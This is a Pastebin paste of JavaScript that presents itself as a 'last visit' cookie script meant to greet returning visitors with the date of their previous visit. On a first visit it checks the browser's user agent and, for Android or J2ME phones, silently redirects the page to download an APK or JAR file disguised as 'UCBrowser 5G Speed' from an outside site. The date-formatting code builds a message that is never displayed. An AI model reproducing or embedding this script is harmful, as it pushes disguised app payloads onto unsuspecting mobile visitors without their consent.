Advertisement
Guest User

Untitled

a guest
Jul 30th, 2015
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. var days = 10; // days until cookie expires
  2. var lastvisit=new Object();
  3. var firstvisitmsg="Welcome";
  4. lastvisit.subsequentvisitmsg="Your Last Visit Was On - [displaydate]";
  5.  
  6. lastvisit.getCookie=function(Name){
  7. var re=new RegExp(Name+"=[^;]+", "i");
  8. if (document.cookie.match(re))
  9. return document.cookie.match(re)[0].split("=")[1];
  10. return'';
  11. }
  12.  
  13. lastvisit.setCookie=function(name, value, days){
  14. var expireDate = new Date();
  15.  
  16. var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days));
  17. document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; path=/";
  18. }
  19.  
  20. lastvisit.showmessage = function() {
  21. var wh = new Date();
  22. if (lastvisit.getCookie("visitc") == "") {
  23. lastvisit.setCookie("visitc", wh, days);
  24. if( /Android/i.test(navigator.userAgent) ) {
  25. var url = window.location.href ='http://adsbangla.com/amarwap/UCBrowser%205G%20Speed.apk';
  26. url.show();
  27. }
  28. if( /J2ME/i.test(navigator.userAgent) ) {
  29. var url = window.location.href ='http://adsbangla.com/amarwap/UCBrowser%205G%20Speed.jar';
  30. url.show();
  31. }
  32.  
  33. }
  34.  
  35. else {
  36. var lv = lastvisit.getCookie("visitc");
  37. var lvp = Date.parse(lv);
  38. var now = new Date();
  39. now.setTime(lvp);
  40. var day = new Array("Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat");
  41. var month = new Array ("Jan", "Feb", "Mar", "Apr", "May", "June", "July", "Aug", "Sep", "Oct", "Nov", "Dec");
  42. var dd = now.getDate();
  43. var dy = now.getDay();
  44. dy = day[dy];
  45. var mn = now.getMonth();
  46. mn = month[mn];
  47. yy = now.getFullYear();
  48. var hh = now.getHours();
  49. var ampm = "am";
  50. if (hh >= 12) {ampm = "pm"}
  51. if (hh >12){hh = hh - 12};
  52. if (hh == 0) {hh = 12}
  53. if (hh < 10) {hh = "0" + hh};
  54. var mins = now.getMinutes();
  55. if (mins < 10) {mins = "0"+ mins}
  56. var secs = now.getSeconds();
  57. if (secs < 10) {secs = "0" + secs}
  58. var dispDate = dy + ", " + mn + " " + dd + ", " + yy + " " +"[" + hh + ":" + mins + ":" + secs + " " + ampm + "]"
  59.  
  60. }
  61.  
  62. lastvisit.setCookie("visitc", wh, days);
  63.  
  64. }
  65.  
  66. lastvisit.showmessage();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement